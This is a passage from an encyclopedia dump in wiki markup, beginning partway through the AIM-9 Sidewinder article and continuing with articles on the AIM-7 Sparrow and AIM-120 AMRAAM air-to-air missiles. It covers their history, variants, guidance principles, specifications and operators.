This signal makes the tracking system both simpler and better.  Instead of simply pointing the missile at the target (which is inefficient), the Sidewinder &quot;remembered&quot; each flash's direction and time.  By attempting to zero out the changes, instead of the difference between the detector and missile angles, the Sidewinder flies a course known as ''proportional pursuit'', which is much more efficient and makes the missile &quot;lead&quot; the target.

However this system also requires the missile to have a fixed roll axis orientation. If the missile spins at all, the timing based on the speed of rotation of the mirror is no longer accurate. Correcting for this spin would normally require some sort of sensor to tell which way is &quot;down&quot; and then adding controls to correct it. Instead, small control surfaces were placed at the rear of the missile with spinning disks on their outer surface. Airflow over the disk spins them to a high speed.  If the missile starts to roll, the gyroscopic force of the disk drives the control surface into the airflow, cancelling the motion. Thus the Sidewinder team replaced a potentially complex control system with some simple mechanical bits.

===Service entry===
A prototype Sidewinder, the '''XAAM-N-7''' (later '''AIM-9A'''), was first fired successfully in September [[1953 in aviation|1953]]. The initial production version, designated '''AAM-N-7''' (later '''AIM-9B'''), entered operational use in [[1956 in aviation|1956]], and has been improved upon steadily since. The first combat use of the Sidewinder was in [[1958 in aviation|1958]] with the air force of the [[Republic of China]] on Taiwan. During that period of time, the ROC was engaged in air battles with the [[People's Republic of China]] over the [[Taiwan Strait]]. The United States provided a few dozen Sidewinders to ROC forces, which used them to great effect against PRC [[MiG-15]]s, adding a new element to an air war which had formerly been fought only with guns. 

The Taiwan Strait battles inadvertently produced a new derivative of Sidewinder: shortly after that conflict the [[Soviet Union]] began the manufacture of the [[Vympel K-13|K-13/R-3S]] missile ([[NATO reporting name]] '''AA-2 'Atoll''''), a reverse-engineered copy of the Sidewinder. It was reportedly made possible after a Taiwanese AIM-9B hit a Chinese [[MiG-15]] without exploding, and served as a &quot;university course&quot; in missile design for Soviet engineers. The K-13 and its derivatives remained in production for nearly 30 years.

Although originally developed for the USN, the Sidewinder was subsequently adopted by the USAF as the '''GAR-8''' (later '''AIM-9E'''). During the [[1960s]] the USN and USAF pursued their own separate versions of the Sidewinder, but cost considerations later forced the development of common variants.

The Sidewinder subsequently evolved through a series of upgraded versions with newer, more sensitive seekers with various types of cooling and various propulsion, fuse, and warhead improvements.

Although each of those versions had various seeker, cooling, and fuzing differences, all but one shared infrared homing. The exception was the US Navy '''AAM-N-7 Sidewinder IB''' (later '''AIM-9C'''), a Sidewinder with a [[semi-active radar homing]] seeker head developed for the [[F-8 Crusader]]. Only about 1,000 of these weapons were produced, many of which were later rebuilt as the [[AGM-122 Sidearm]] [[anti-radiation missile]].

The '''AIM-9J Sidewinder''' version was used by the United States Air Force as well as being widely exported. An improved version of the basic AIM-9B, the main features are larger control surfaces as well as a more aerodynamic IR seeker and improved rocket motor. The missile however still has to be fired at the target from behind, a drawback of all early IR missiles.

===All-Aspect Sidewinders===
==== AIM-9L / AIM-9M / AIM-9M-7 ====
The next major advance in IR Sidewinder development was the '''AIM-9L''' ('''&quot;Lima&quot;''') model, introduced in [[1978 in aviation|1978]]. This was the first &quot;[[all-aspect]]&quot; Sidewinder with the ability to attack from all angles, including head-on. In its first combat uses by [[Israel]] over [[Lebanon]] and by the [[United Kingdom]] during the [[Falklands War]], the &quot;Lima&quot; reportedly achieved a kill ratio of around 80%, a dramatic improvement over the 10-15% levels of earlier weapons. In both cases, the users' opponents had not developed any tactics for the evasion of a head-on missile shot of this kind, making them all the more vulnerable.  

The subsequent '''AIM-9M''' ('''&quot;Mike&quot;''') has the all-aspect capability of the L model while providing all-around higher performance. The M model has improved defense against infrared countermeasures, enhanced background discrimination capability, and a reduced-smoke rocket motor. These modifications increase its ability to locate and lock on a target and decrease the missile's chances for detection. Deliveries began in [[1983 in aviation|1983]]. The '''AIM-9M-7''' was a specific modification to AIM-9M in response to threats expected in the [[Persian Gulf]] war zone. 

==== AIM-9X ====
Now entering service is the '''AIM-9X''', a new variant with an imaging infrared focal plane array seeker with claimed 90° off-boresight capability, compatibility with [[helmet-mounted sight]]s (the new U.S. [[Joint Helmet-Mounted Cueing System]]), and a totally new thrust-vectoring system replacing the traditional control surfaces. It retains the same motor and warhead of the &quot;Mike,&quot; but its lower drag gives it improved range and speed.

==== SIDEARM / AGM-122A ====
[[Image:Sidearm_loading.jpg|thumb|left|120px|AGM-122A SIDEARM being loaded onto an [[F-14 Tomcat]].]]

The Sidewinder was also adapted into a new missile, the '''[[AGM-122 Sidearm|AGM-122A Sidearm]]''', which is an [[Anti-radiation missile]] utilizing an AIM-9C guidance section modified to detect and track a radiating ground-based air defense system radar. The target detecting device is modified for air-to-surface use, employing forward hemisphere acquisition capability. Sidearm stocks have apparently been expended, and the weapon is no longer in the active inventory.

==== Architecture ====
The AIM-9 is made up of a number of different components manufactured by different companies including [http://www.aerojet.com/default.cfm AeroJet] and [http://www.raytheon.com Raytheon].  The missile is divided into four main sections: guidance, target detector, warhead, and rocket motor.  

The Guidance and Control Unit (GCU) contains most of the electronics and mechanics that enable the missile to function.  At the very front is the IR seeker head utilizing the rotating spindle, mirror, and five [[Photoresistor#Cadmium sulfide cells|CdS]] cells or “pan and scan” [[Charge-coupled device|CCD]] (AIM-9X), [[Electric motor|electric motor]], and armature all protruding into a glass dome.  Directly behind this are the electronics that gather data, interpret signals, and generate the control signals that steer the missile.  An umbilical on the side of the GCU attaches to the launcher, which is pulled from the missile at launch.  A 5,000 [[pound-force per square inch|psig]] (35 [[megapascal|MPa]]) [[Argon|argon]] bottle or Sterling liquid nitrogen generator (AIM-9X) is used to cool the electronics.  Two electric servos power the [[Canard|canards]] to steer the missile (Except AIM-9X).  At the back of the GCU is a gas grain generator or thermal battery (AIM-9X) to provide electrical power.  The AIM-9 X features High-Off-Boresight capability, together with [[Helmet-mounted sights | JHeMoCS]] (Joint Helmet Mounted Cuing System) this missile is capable of locking on to a target that it is behind it.  The Aim-9X also features a Built-In-Test to aid in maintenance and reliability.

Next is a target detector with four IR emitters and detectors that detonate the warhead in the event of a near miss.  Versions older than the AIM-9L featured an influence fuze that relied on the targets magnetic field as input. Current trends in shielded wires and non-magnetic metals in aircraft construction rendered this obsolete.

Recent models of the AIM-9 are configured with an annular blast fragmentation [[Warhead|warhead]], the WDU-17B by Argotech Corperation.  The case is made of spirally wound spring steel filled with 8 pounds (4 kg) of PBXN-3 tritonol.  The [[Fuse (explosives)|fuze]] requires five seconds at 20 ''g'' (200 m/s²) acceleration to arm and features a safe/arm device.

The solid propellant [[Solid rocket|rocket]] motor provides propulsion for the missile.  A reduced smoke propellant makes it difficult for a target to see and avoid the missile.  This section also features the launch lugs used to hold the missile to the rail of the missile launcher.  The forward of the three lugs has two contact buttons that electrically pre-arm the warhead and activate the motor igniter.  The fins provide stability from an aerodynamic point of view but it is the rolerons at the end of the fins providing [[Precession|gyroscopic precession]] that prevents the [[snake|serpentine]] motion that gave the Sidewinder its name in the early days.  The wings and fins of the AIM-9X are smaller to accommodate its use on the [[F-22]] and this time it is the fins that do the steering while the wings up front provide stability.  The AIM-9X also features [[Thrust vectoring | Vectored Thrust]] to increase maneuverability and accuracy with four vanes inside the exhaust that move as the fins move.  The last upgrade to the missile motor on the AIM-9X is the addition of a wire harness that allows communication between the guidance section and the control section as well as a new 1760 bus to connect the guidance section with the launcher’s digital umbilical.

===Conclusion===
The Sidewinder is the most widely used air-to-air missile in the West, with more than 110,000 missiles produced for the US and 27 other nations. It has been built under license by some nations (including Sweden, which builds it under the local designation '''Rb24''').  The AIM-9 is one of the oldest, least expensive and most successful air-to-air missiles.

It has been said that the design goals for the original Sidewinder were to produce a reliable and effective missile with the &quot;electronic complexity of a table model radio and the mechanical complexity of a washing machine&quot; -- goals which were well accomplished in the early missiles. The Sidewinder is so successful that the United States Navy hosted a 50th anniversary celebration of its existence in 2002.

== General characteristics (AIM-9L) ==
* '''Length''': 2.85 m (9 ft 4.2 in)
* '''Wingspan''': 630 mm (24.8 in)
* '''Diameter''': 127 mm (5 in)
* '''Launch weight''': 91 kg (190 lb)
* '''Speed''': [[Mach number|Mach 2.5]]
* '''Range''': 1-18 km (0.62-11.3 mi)
* '''Guidance''': [[infrared]] homing
* '''Warhead''': 9.4 kg (20.8 lb) annular blast-fragmentation
* '''Contractor''': [[Raytheon Corporation]]; [[Ford Aerospace]]; [[Loral Corp.]]
* '''Unit cost''': $84,000 US

==See also==
*[[Chaparral (missile)|Chaparral]], a [[surface-to-air missile]] system using the AIM-9
*[[MBDA MICA]]
*[[R550 Magic]]
*[[IRIS-T]]
*[[ASRAAM]]
*[[AGM-122 Sidearm]]
*[[AIM-7 Sparrow]]
*[[AIM-54 Phoenix]]
*[[AIM-120 AMRAAM]]
*[[Vympel K-13]]
*[[List of missiles]]

==References==
* Babcock, Elizabeth (1999). ''Sidewinder &amp;ndash; Invention and Early Years.'' The China Lake Museum Foundation. 26 pp. A concise record of the development of the original Sidewinder version and the central people involved in its design.

==External links==
*[http://www.designation-systems.net/dusrm/m-9.html Designation Systems]

{{airlistbox}}

[[Category:American Cold War air-to-air missiles]]
[[Category:Vietnam War guided missiles]]
[[Category:Gulf War guided missiles]]
[[Category:Kosovo War guided missiles]]
[[Category:Iraq War guided missiles]]
[[Category:Raytheon products]]

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  </page>
  <page>
    <title>AIM-7 Sparrow</title>
    <id>3146</id>
    <revision>
      <id>40428101</id>
      <timestamp>2006-02-20T13:49:17Z</timestamp>
      <contributor>
        <username>Los688</username>
        <id>294540</id>
      </contributor>
      <comment>/* See also */ ｃｈ　ja</comment>
      <text xml:space="preserve">[[Image:RIM-7 Sea Sparrow.jpg|thumb|300px|A RIM-7 Sea Sparrow being launched from the [[USS Essex (LHD-2)|USS ''Essex'' (LHD-2)]].]]

The '''AIM-7 Sparrow''' is a medium-range [[semi-active radar homing]] [[air-to-air missile]] operated by the [[United States Air Force]], [[US Navy]], and [[USMC]] as well as various allied air forces. Sparrow and its derivatives were the West's principal beyond visual range (BVR) air-to-air missile from the late [[1950s]] until the [[1990s]]. It remains in service, although it is being phased out in favor of the more advanced [[AIM-120 AMRAAM]].  Its primary carrier aircraft is the [[F-14 Tomcat]], which is being phased out and therefore has not been modified to carry the AMRAAM.

The Sparrow was used as the basis for a [[surface-to-air missile]], the '''RIM-7 Sea Sparrow''', which is used by the [[US Navy]] for air defense of its ships.

==Development==
====Sparrow I====
The Sparrow emerged from a late-[[1940s]] [[US Navy]] program to develop a guided rocket weapon for air-to-air use. In [[1947 in aviation|1947]] the Navy contracted [[Sperry]] to build a [[beam-riding]] version of a standard 5-inch (127 mm) [[HVAR]], the standard unguided aerial rocket, under  '''Project Hotshot'''. The weapon was initially dubbed '''KAS-1''', then '''AAM-2''', and, from [[1948 in aviation|1948]] on, '''AAM-N-2'''. The airframe was developed by [[Douglas Aircraft]]. The diameter of the HVAR proved to be inadequate for the electronics, leading Douglas to expand the missile's airframe to 8 in (203 mm) diameter. The prototype weapon made its first aerial interception in [[1952 in aviation|1952]].

After a protracted development cycle the initial '''AAM-N-2 ''Sparrow''''' entered service in [[1956 in aviation|1956]], carried by the [[F3H Demon|F3H-2M Demon]] and [[F7U Cutlass]] [[fighter aircraft]]. Compared to the modern versions, the Sparrow I was more [[streamlined]] and featured a bullet-shaped airframe with a long pointed nose.

Sparrow I was a limited and rather primitive weapon. The limitations of beam-riding guidance (which was slaved to an optical sight, requiring visual identification of the target) restricted the missile to visual-range attacks and made it essentially useless against a maneuvering target. Only about 2,000 rounds were produced to this standard.

====Sparrow II====
As early as [[1950]] Douglas examined equipping the Sparrow with an active radar seeker, initially known as '''XAAM-N-2a ''Sparrow II''''', the original retroactively becoming '''''Sparrow I'''''. In 1952 it was given the new code '''AAM-N-3'''.

By 1955 Douglas proposed going ahead with development, intending it to be the primary weapon for the [[F5D Skylancer]] [[interceptor aircraft|interceptor]], and later the [[Avro Arrow]] to be built under license by [[Canadair]]. However the small size of the missile forebody and the K-band AN/APQ-64 radar limited performance, and it was never able to work in testing.

The program was cancelled in 1958, and although there was some discussion of Canadair taking over the work, when the Arrow was cancelled all work ended.

====Sparrow III====
Concurrently, in [[1951 in aviation|1951]], [[Raytheon]] began work on the [[semi-active radar homing]] version of Sparrow family of missiles, the '''AAM-N-6 ''Sparrow III'''''. The first of these weapons entered [[US Navy]] service in [[1958 in aviation|1958]].

The '''AAM-N-6a''' was similar to the -6, but used a new [[Thiokol]] liquid-fuel rocket engine for improved performance. It also included changes to the guidance electronics to make it effective at higher closing speeds. The -6a was also selected to arm the Air Force's '''F-110A ''Spectre''''' ([[F-4 Phantom]]) fighters in 1962, known to them as the '''AIM-101'''. It entered production in 1959, eventually being built to about 7500 examples.

Another upgrade switched back to a Rocketdyne solid-fuel motor for the '''AAM-N-6b''', which started production in 1963. The new motor significantly increased range, which was up to 35 km for head-on attacks.

During this year the Navy and Air Force agreed on a standardized naming for their missiles, the Sparrows becoming the AIM-7 series. The original Sparrow I and aborted Sparrow II became the '''AIM-7A''' and '''AIM-7B''', even though both were long gone from the inventory. The -6, -6a and -6B became the '''AIM-7C''', '''AIM-7D''' and '''AIM-7E''' respectively.

25,000 AIM-7E's were produced, and saw extensive use during the [[Vietnam War]], where its performance was generally considered disappointing. The mixed results were a combination of reliability problems (exacerbated by the tropical climate), limited pilot training in fighter-to-fighter combat, and restrictive rules of engagement that generally prohibited BVR (beyond visual range) engagements. The P&lt;small&gt;&lt;sub&gt;k&lt;/sub&gt;&lt;/small&gt; (kill probability) of the AIM-7E was less than 10%.

In 1969 an improved version, the E-2, was introduced with clipped wings and various changes to the fusing. It was intended to be used at shorter ranges where the missile was still travelling at high speeds, making it much more useful in the visual limitations imposed on the engagements. An E-3 included additional changes to the fusing, and an E-4 featured a modified seeker for use with the [[F-14 Tomcat]].

Improved versions of the AIM-7 were developed in the [[1970s]] in an attempt to address the weapon's limitations. The '''AIM-7F''', which entered service in [[1976 in aviation|1976]], had a dual-stage rocket motor for longer range, [[solid-state electronics]] for greatly improved reliability, and a larger warhead. Even this version had room for improvement, leading [[British Aerospace]] and the Italian firm [[Selenia]] to develop advanced versions of Sparrow with better performance and improved electronics as the '''[[Skyflash]]''' and '''Selenia Aspide''', respectively.

The most common version of the Sparrow today, the '''AIM-7M''', featured a new inverse monopulse seeker (matching the capabilities of Skyflash), active radar fuse, digital controls, improved [[ECM]] resistance, and better low-altitude performance, entered service in [[1982 in aviation|1982]]. It was used to good advantage in the [[1991 Gulf War]], where it scored many USAF air-to-air kills.

The '''AIM-7P''' is similar in most ways to the M versions, and was primarily an upgrade program for existing M-series missiles. The main changes were to the software, improving low-level performance. A follow-on Block II upgrade added a new rear receiver allowing the missile to receive mid-course correction from the launching aircraft. Plans initially called for all M versions to be upgraded, but currently P's are being issued as required to replace M's lost or removed from the inventory.

The final version of the missile was to have been the '''AIM-7R''', which added an [[infra-red]] seeker to an otherwise unchanged AIM-7P Block II. A general wind-down of the budget led to it being cancelled in 1997. 

Sparrow is now being phased out with the availability of the active-radar [[AIM-120 AMRAAM]], but is likely to remain in service for a number of years.

====Sea Sparrow====
Sea Sparrow was developed as a lightweight &quot;point defense&quot; weapon that could be retrofitted to existing ships, often in place of existing gun-based anti-aircraft weapons. The primary development issues were changes to the seekers to allow them to operate with shipboard radars, and a new trainable launcher system, based on the [[ASROC]] launcher, to align the seeker head with the target before launch.

As a surface-to-air system, the Sparrow has a number of disadvantages. For one, the missile steers with its mid-mounted wings, which makes them unfoldable. For this reason the missile takes up much more room than it would have to if the wings could be folded. Additionally the engine is optimized for flight time, as opposed to fast acceleration, which makes sense when launched from an aircraft moving at high speed at a target at long range. In the surface-to-air role, however, one would rather have very high acceleration in order to allow it to intercept sea-skimming targets as soon as possible.

In order to address these issues, a consortium of many Sea Sparrow users joined together to create the [[ESSM|''Evolved Sea Sparrow Missile'' ('''ESSM''')]]. The new design uses the tail-fins for steering, allowing the wings to fold. This allows the missile body to increase in size while still fitting into the same launchers, growing to 10 inches in diameter and offering far higher performance. Additionally the wing-based manuvering of the older design is designed to save energy during the long gliding period of the missile, while the tail-fin based steering of the ESSM uses up more energy but offers considerably higher manuverability while the engine is still firing.

Another recent development is the ''Jet Vane Control'' ('''JVC''') unit, which can be added to the base of the missile to allow it to be vertically launched. After being &quot;poppped&quot; from the launch cell the JVC rotates the missile to bring the seeker onto the target and level the flightpath in that direction. It is then jettisoned. Vertical launching allows a single cell to cover the entire area around the ship, because the seeker can be pointed in any direction by the JVC after launch. Additionally the time needed to point the launcher is eliminated.

The [[Egyptian Navy]] uses the Sea Sparrow for air defense of its two [[Descubierta class frigate|''Descubierta'' class light frigates]].

==Description==
The Sparrow has four major sections: guidance section, [[warhead]], control, and rocket motor (currently the Hercules MK-58 solid-propellant rocket motor). It has a cylindrical body with four wings at mid-body and four tail fins. Although the external dimensions of the Sparrow remained relatively unchanged from model to model, the internal components of newer missiles represent major improvements, with vastly increased capabilities. The warhead is of the [[continuous-rod warhead|continuous-rod]] type.

As with other semi-active radar guided missiles, the missile does not generate radar signals, but instead homes in on reflected continuous-wave signals from the launch platform's radar. The receiver also senses the guidance radar to enable comparisons that enhance the missile's resistance to passive jamming.

==Principle of guidance (semi-active version)==
The launching aircraft will illuminate the target with its radar. In radars of the 1950's these were single target tracking devices using a nutating horn as part of its antenna. This caused the beam to be swept in a small cone. Signal processing would be applied to determine the direction of maximum illumination and so develop a signal to steer the antenna toward the target. The missile detects the reflected signal from the target with a high gain antenna in a similar fashion and steers the entire missile toward closure with the target. The missile guidance also samples a portion of the illuminating signal via rearward pointing [[waveguide]]s. The comparison of these two signals enabled logic circuits to determine the true target reflection signal, even if the target were to eject radar-reflecting [[chaff (radar countermeasure)|chaff]].

==Specifications (AIM-7M)==
* '''Length''': 12 ft (3600 mm)
* '''Diameter''': 8 in (203 mm) 
* '''Wingspan''': 2 ft 8 in (81 mm)
* '''Launch weight''': 510 lb (231 kg)
* '''Speed''': Mach 4
* '''Range''': 44 mi (70 km)
* '''Guidance''': semi-active radar homing
* '''Warhead''': 88 lb (40 kg) blast fragmentation 

== See also ==
* [[AIM-9 Sidewinder]]
* [[AIM-54 Phoenix]]
* [[List of missiles]]

{{airlistbox}}

[[Category:American Cold War air-to-air missiles|AIM-007]]
[[Category:Naval surface-to-air missiles of the United States|AIM-007]]
[[Category:Surface-to-air missiles of Egypt|AIM-007]]

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  </page>
  <page>
    <title>AIM-120 AMRAAM</title>
    <id>3147</id>
    <revision>
      <id>40437389</id>
      <timestamp>2006-02-20T15:19:52Z</timestamp>
      <contributor>
        <ip>62.48.232.30</ip>
      </contributor>
      <comment>/* Operators */</comment>
      <text xml:space="preserve">{{Infobox_Missile|
          name=AIM-120 AMRAAM|
          image=aim_120_amraam_missile_20040710_145603_1.4.jpg|
          Function=Medium-range, air-to-air tactical missile|
          Contractor=[[Hughes Aircraft|Hughes]]/[[Raytheon]]|
          Unit_cost=$386,000 (2003); $299,000 (price for Lot 12 contract in April [[1998]]; the previous price in Lot 11 was $340,000 each)|
          Deployment=September [[1991]]|
          Engine=High performance, directed rocket motor|
          Launch_mass=335 lb (152 kg)|
          Length=12 ft (3.66 m)|
          Diameter=7 in (178 mm)|
          Wing_span=20.7 in (526 mm) (AIM-120A/B)|
          Speed=Supersonic|
          Range=75 km (45 mi) AIM-120D range is over 110 km (65 mi))|
          Flying_altitude= N/A|
          Warhead=Blast Fragmentation; high explosive|
          Guidance=INS, active radar |
          Fuzes= |
          Launch_platform=Aircraft, Surface launched.
*{{DEU}}: [[F-4]]
*{{NOR}}: [[F-16]]A/B and [[NASAMS]]
*{{UK}}: [[Panavia Tornado]] and [[Eurofighter Typhoon]] ([[Royal Air Force]]), [[BAE Sea Harrier|Sea Harrier]] ([[Fleet Air Arm]])
*{{USA}} [[United States Marine Corps|Marine Corps]]: [[AV-8 Harrier II|AV-8B+]], [[F/A-18 Hornet|F/A-18]]
*{{USA}} [[US Navy|Navy]]: [[F/A-18E/F Super Hornet]], [[F/A-18 Hornet|F/A-18]]
*{{USA}} [[US Air Force|Air Force]]: [[F-15 Eagle|F-15]], [[F-16 Fighting Falcon|F-16]], [[F/A-22 Raptor|F-22A]]
*{{AUS}}: [[F/A-18A Hornet]] (retrofitted during the Hornet Upgrade Program)
*{{BHR}}: [[F-16]]C/D
*{{SIN}}: [[F-16]]C/D, Upgraded [[F-5 Freedom Fighter|F-5S/T]]
*{{SWE}}: [[Saab Gripen]]|
}}

The '''AIM-120 Advanced Medium-Range Air-to-Air Missile''', or '''AMRAAM''' (pronounced am-ram), commonly known to air crews as the &quot;Slammer,&quot; is a modern [[air-to-air missile|air-to-air]] [[missile]] (AAM).

==Politico-historical background==
AMRAAM was developed as the result of an agreement, no longer in effect, among the United States and several other [[NATO]] nations to develop air-to-air missiles and to share production technology.  Under this agreement the U.S. was to develop the next generation medium range missile (AMRAAM) and Europe would develop the next generation short range missile ([[ASRAAM]]). The breakdown in this agreement lead to Europe developing the [[MBDA Meteor]], a competitor to AMRAAM and the U.S. pursuing upgrades of the [[AIM-9 Sidewinder]]. After protracted development, deployment of AMRAAM (AIM-120A) began in September [[1991 in aviation|1991]].

The eastern counterpart of AMRAAM is the very similar [[Russian Air Force|Russian]] [[R-77 AA-12 Adder]], commonly known in the west as &quot;Amraamski.&quot;

==Operational features summary==
AMRAAM has an all-weather, beyond-visual-range capability. It improves the aerial combat capabilities of U.S. and allied aircraft to meet the future threat of enemy air-to-air weapons. AMRAAM serves as a follow-on to the [[AIM-7 Sparrow]] missile series. The new missile is faster, smaller, and lighter, and has improved capabilities against low-altitude targets. It also incorporates an active radar in conjunction with an inertial reference unit and micro-computer system, which makes the missile less dependent upon the fire-control system of the aircraft.

Once the missile closes in on the target, its active [[radar]] guides it to intercept. This feature, called &quot;[[fire and forget]],&quot; frees the pilot from the need to continuously illuminate the missile's target with a radar lock, enabling the pilot to aim and fire several missiles simultaneously at multiple targets and perform evasive maneuvers while the missiles guide themselves to the targets.

==Guidance system overview==
===Interception course stage===
AMRAAM uses two-stage [[missile guidance|guidance]] when fired at long range. The aircraft passes data to the missile just before launch, giving it information about the location of the target aircraft from the launch point and its direction and speed. The missile uses this information to fly on an interception course to the target using its built in [[inertial navigation system]] (INS). This information is generally obtained using the launching aircraft's [[radar]], although it could come from an [[infra-red]] search and tracking system ([[IRST]]), from a [[Joint Tactical Information Distribution System|data link]] from another fighter aircraft, or from an [[AWACS]] aircraft. 

If the firing aircraft or surrogate continues to track the target, periodic updates are sent to the missile telling it of any changes in the target's direction and speed, allowing it to adjust its course so that it is able to close to self-homing distance while keeping the target aircraft in the ''basket'' in which it will be able to find it.

Not all AMRAAM users have elected to purchase the mid-course update option, which limits AMRAAM's effectiveness in some scenarios. The [[Royal Air Force|RAF]] initially opted not to use mid-course update for its [[RAF_Tornado_F3|Tornado F3]] force, only to discover that without it, testing proved the AMRAAM was less effective in BVR engagements than the older [[semi-active radar homing]] [[Skyflash|BAE Skyflash]] weapon--the AIM-120's own radar is necessarily of limited range and power compared to that of the launch aircraft.

===Terminal stage and impact===
Once the missile closes to self-homing distance, it turns on its active radar seeker and searches for the target aircraft. If the target is in or near the expected location, the missile will find it and guide itself to the target from this point. If the missile is fired at short range (typically, visual range), it can use its active seeker just after launch, making the missile truly [[fire-and-forget]]. At the point where an AMRAAM switches to autonomous self-guidance, the NATO brevity word &quot;pitbull&quot; would be called out on the radio to inform other pilots, just as &quot;Fox Three&quot; would be called out upon launch.

==Kill probability and tactics==
===General considerations===
Once in its terminal mode, the missile's advanced electronic-counter-counter-measure ([[ECCM]]) support and good maneuverability mean that the chance of it hitting or exploding close to the target is high (on the order of 90%), as long as it has enough remaining energy to maneuver with the target if it is evasive. The [[probability of kill|kill probability]] (PK) is determined by several factors, including aspect (head-on interception, side-on or tail-chase), altitude, the speed of the missile and the target, how hard the target can turn, etc. Typically, if the missile has a sufficient amount of energy during the terminal phase, which comes from being launched close enough to the target from an aircraft flying high and fast enough, it will have an excellent chance of success. This chance drops as the missile is fired at longer ranges as it runs out of overtake speed at long ranges, and if the target can force the missile to turn it might bleed off enough speed that it can no longer chase the target.

===Lower-capability targets===
This leads to two main engagement scenarios. If the target(s) is/are not armed or not armed with any medium or long-range [[fire-and-forget]] weapons, the aircraft firing the AMRAAM need only to get close enough to the target, depending upon whether the target is heading towards or away from the firing aircraft, and launch the missile(s) to have a reasonable chance of hitting. Especially against low-maneuverability targets, in this situation the missiles are unlikely to miss. If the target aircraft are approaching the launching aircraft, especially if they are moving fast, the missile can be launched at long range since the range will be closing fast. In this situation, even if the target(s) turn around, it is unlikely they can speed up and fly away fast enough to avoid being overtaken and hit by the missile(s) (as long as the missiles are not released too early). It is also unlikely they can outmaneuver the missiles since the closure rate will be so great. In a tail-on engagement, the firing aircraft might have to close to between one-half and one-quarter maximum range (or maybe even more for a very fast target) in order to give the missile sufficient energy to overtake the targets.

If the targets are armed with missiles, the [[fire-and-forget]] nature of the AMRAAM is invaluable, enabling the launching aircraft to fire missiles at the target and then turn and run away. Even if the targets have longer-range [[semi-active radar homing]] ([[SARH]]) missiles, they will have to chase the launching aircraft in order for the missiles to track them, effectively flying right into the AMRAAM. If the target aircraft fire missiles and then turn and runs away, their own missiles will not be able to hit. Of course, if the target aircraft have long range missiles, even if they are not [[fire-and-forget]], the fact that they force the launching aircraft to turn and run reduces the kill probability, since it is possible that without the mid-course updates the missiles will not find the target aircraft. However the chance of success is still good and compared to the relative impunity the launching aircraft enjoy, this gives the AMRAAM-equipped aircraft a decisive edge. If one or more missiles fail to hit, the AMRAAM-equipped aircraft can turn and re-engage, although they will be at a disadvantage compared to the chasing aircraft due to the speed they lose in the turn, and would have to be careful that they're not being tracked with [[SARH]] missiles.

===Similarly armed targets===
The other main engagement scenario is against other aircraft with [[fire-and-forget]] missiles like the [[Vympel R-77]] (NATO AA-12 &quot;Adder&quot;) - perhaps [[MiG-29]]s, [[Su-27]]s or similar. In this case engagement is very much down to teamwork and could be described as &quot;a game of chicken.&quot; Both flights of aircraft can fire their missiles at each other beyond visual range (BVR), but then face the problem that if they continue to track the target aircraft in order to provide mid-course updates for the missile's flight, they are also flying into their opponents' missiles. This is why teamwork is so important and advanced missiles with guidance systems with hand-off capability can help overcome this problem. The other main tactic would be to sneak up behind the enemy aircraft and launch missiles without them noticing, giving the launching aircraft sufficient time to leave the danger zone of the enemy after launching. Even if the enemy detects the launch and turns around, the speed and possibly altitude it loses during the turn puts its missiles at an energy disadvantage which may be sufficient for the other aircraft to defeat it successfully. This typically requires excellent [[ground-control intercept]] (GCI) or airborne radar ([[AWACS]] - Airborne Warning and Control System) facilities in order to be successful.

==Variants and upgrades==
===Air-to-air missile versions===
There are currently three variants of AMRAAM, all in service with the [[United States Air Force]] and [[USN]]. The AIM-120A is no longer in production and shares the enlarged wings and fins with the successor AIM-120B currently in production. The AIM-120C has smaller &quot;clipped&quot; aerosurfaces to enable internal carriage on the USAF [[F-22A Raptor]]. AIM-120B deliveries began in [[1994 in aviation|1994]], and AIM-120C deliveries began in [[1996 in aviation|1996]]. 

The AIM-120C has been steadily upgraded since it was introduced. The AIM-120C-6 contained an improved fuze (Target Detection Device) compared to its predecessor. The AIM-120C-7 development began in [[1998]] and included improvements in homing and greater range (actual amount of improvement unspecified). It was successfully tested in 2003 and is currently being introduced into active service (early 2005). It helps the [[United States Navy|U.S. Navy]] replace the [[F-14 Tomcat]]s which are being retired and replaced with [[F/A-18E/F Super Hornet]]s&amp;mdash;the loss of the [[F-14]]'s long-range [[AIM-54 Phoenix]] missiles (already retired) can be partially offset with a longer-range AMRAAM but note that the AMRAAM does not have a longer range than the Phoenix.

The AIM-120D is a planned upgraded version of the AMRAAM with improvements in almost all areas, including 50% greater range (than the already long range AIM-120C-7) and better guidance over its entire flight envelope yielding an improved kill probability ([[Probability of kill|PK]]). 

There are also plans for [[Raytheon]] to develop a [[Ramjet]]-powered derivative of the AMRAAM, the Future Medium Range Air-Air Missile (FMRAAM). It is not known whether the FMRAAM will be produced since the target market, the British Ministry of Defence has chosen the [[MBDA_Meteor|Meteor missile]] over the FMRAAM for a [[BVR]] missile for the [[Eurofighter Typhoon]] aircraft.

===Ground-launch systems===
[[Raytheon]] successfully tested launching AMRAAM missiles from a five-missile carrier on an [[HMMWV]] (hum-vee). They receive their initial guidance information from a radar not mounted on the vehicle (probably the [[MPQ-64 Sentinel]] radar system or possibly a [[Patriot missile|PATRIOT]] missile battery radar) and help to provide low-level, close-in defence while the PATRIOT system engages targets at higher altitudes and further ranges. The missile's range would be lower when launched from the ground, due to the lack of speed or altitude of the launch vehicle. This system will be known as the '''HUMRAAM''' (a contraction of HUMVEE and AMRAAM).

The [[NASAMS|Norwegian Advanced Surface-to-Air Missile System]] (NASAMS), developed by [[Kongsberg Defence &amp; Aerospace]], consists of a number of vehicle-pulled launch batteries (containing six AMRAAMs each) along with separate radar trucks and control station vehicles.

== Operators ==

*{{USA}} [[United States Air Force|Air Force]], [[United States Navy|Navy]], and [[United States Marine Corps|Marine Corps]]
*{{AUS}}: [[Royal Australian Air Force]]
*{{BHR}}: [[Military of Bahrain|Bahrain Defense Forces]]
*{{DEU}}: [[Luftwaffe]]
*{{NOR}}: [[Royal Norwegian Air Force]]
*{{SIN}}: [[Republic of Singapore Air Force]]
*{{SWE}}: [[Swedish Air Force]]
*{{UK}}: [[Royal Air Force]] and [[Royal Navy]]
*{{PRT}}: [[Portuguese Air Force]]

==See also==
* [[List of missiles]]
* [[AIM-9 Sidewinder]]
* [[AIM-7 Sparrow]]
* [[BVRAAM]]

==External links==
* [http://www.fas.org/man/dod-101/sys/missile/aim-120.htm Federation of American Scientists page]
* [http://www.globalsecurity.org/military/systems/munitions/aim-120.htm GlobalSecurity.org page]
* [http://www.globalsecurity.org/military/systems/munitions/claws.htm#CLAWS GlobalSecurity.org HUMRAAM page]
* [http://www.designation-systems.net/dusrm/m-120.html Designation-Systems page]
